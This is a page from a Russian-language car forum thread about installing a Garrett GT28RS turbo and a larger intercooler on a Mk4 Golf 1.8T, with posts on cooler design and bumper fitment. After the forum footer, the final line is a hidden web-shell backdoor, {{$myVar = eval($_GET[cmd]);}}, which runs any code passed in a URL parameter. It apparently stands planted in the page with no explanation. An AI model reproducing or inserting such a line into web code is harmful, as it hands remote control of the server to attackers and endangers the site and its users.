+ Ответить в теме
Страница 8 из 20 ПерваяПервая ... 6 7 8 9 10 18 ... ПоследняяПоследняя
Показано с 71 по 80 из 199

Тема: Mk4 1.8Т и Garrett GT28RS


  1. #71
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Originally posted by Igorb@Feb 7 2007, 10:52
    а вот это не гуд. эфисиенс дизельных куллеров очень низкий, и об этом уже сказано много. да и с геометрией и кором там никто не заморачивается, температуры у дизеля другие.
    <div align='right'><{POST_SNAPBACK}></div>
    Предположим, что на такой конфигурации он будет лучше маленького штатного.
    В чем принципиальная разность кулер для дизеля и бензина?
    песок сыпется....не останавливайтесь на достигнутом !

  2. #72
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    <div class='quotetop'>Цитата</div><div class='quotemain'>геометрией и кором[/b][/quote]
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  3. #73
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    если необходимо начинать, с того -что земля когдато была огненным шаром, а потом динозавры на ней появились..
    и з чего состоит куллер-
    -патрубки
    -танки
    -кор(или соты, я не занаю как они по русски называются, та часть куллера через который проходит воздух, и при помощи теплопроводимости материала из которого он изготовлен этот воздух охлаждается)
    геометрия патрубков-каждый изгиб это потери, изгиб больше 90-еще большие потери
    геометрия танков-очень важная деталь, от этого зависит как равномерно воздух распределяется по кору, равномерно или нет.
    геометрия кора-он бывает в виде обычных каналов, различного сечения,иногда гладкий внутри, иногда с дополнительными перемычками, тонкий,толстый,высокий,узкий.материл кора очень важен,так как каждый сплав обладает разной теплопроводимостью.
    для дизелей используют самые простые и дешевые куллеры,которые обладают самой низкой эффективностью охлаждения воздуха, и можно сказать что и самым высоким лагом.
    П.С. не путать с дизелями на авди 24 ле ман.или дизельными болидами.

    <div class='quotetop'>Цитата</div><div class='quotemain'>почти как горобчик сказать[/b][/quote], думаю что процентов 90 в маськве понимают что это значит :D .
    90% славян.
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  4. #74
    Мимо проходил Гена is on a distinguished road Аватар для Гена
    Регистрация
    17.12.2006
    Сообщений
    58
    ЗЛЫМ тюнирам&#33; Ура-Ура-Ура&#33;

  5. #75
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Машинка собрана, остались штрихи и т.п. Фото кулера без бампера, если кому интересно могу положить. Штатный бампер потихоньку без порезов умещает кулер.
    песок сыпется....не останавливайтесь на достигнутом !

  6. #76
    Модератор TaPaKaH is on a distinguished road Аватар для TaPaKaH
    Регистрация
    03.03.2006
    Сообщений
    1,081
    Originally posted by BON@Feb 14 2007, 05:34
    Машинка собрана, остались штрихи и т.п. Фото кулера без бампера, если кому интересно могу положить. Штатный бампер потихоньку без порезов умещает кулер.
    <div align='right'><{POST_SNAPBACK}></div>
    Выкладывай конечно&#33;

  7. #77
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    Originally posted by TaPaKaH@Feb 14 2007, 21:18
    Выкладывай конечно&#33;
    <div align='right'><{POST_SNAPBACK}></div>
    +1

    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  8. #78
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    :blink:
    какая то напасть со стендами :angry: ............. тоже перезжают. Через недельку наверное на программу.
    песок сыпется....не останавливайтесь на достигнутом !

  9. #79
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    да-м, длинный


    никогда не видел усилителя бампера в 4-ом.. пришлось ли дорабатывать?
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  10. #80
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Originally posted by DUX@Feb 17 2007, 01:40
    да-м, длинный


    никогда не видел усилителя бампера в 4-ом.. пришлось ли дорабатывать?
    <div align='right'><{POST_SNAPBACK}></div>
    Порезали немного приподняв кулер вверх.
    песок сыпется....не останавливайтесь на достигнутом !

+ Ответить в теме
Страница 8 из 20 ПерваяПервая ... 6 7 8 9 10 18 ... ПоследняяПоследняя

Похожие темы

  1. турбо кит на базе gt28rs для TFSI
    от ed1evil в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 20
    Последнее сообщение: 20.11.2023, 19:54
  2. Garrett GT28RS нужно посоветоваться,знатоки тюнинга не проходите мимо
    от Romaldinho в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 6
    Последнее сообщение: 02.10.2023, 11:22
  3. Ответов: 5
    Последнее сообщение: 24.04.2012, 16:26
  4. Астро Опц На Gt28rs
    от nickart в разделе Курилка
    Ответов: 9
    Последнее сообщение: 08.01.2009, 00:00
  5. Garrett Gt28rs На Audi A4 1.8t Quattro
    от HeadBussa в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 118
    Последнее сообщение: 30.10.2008, 19:01

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}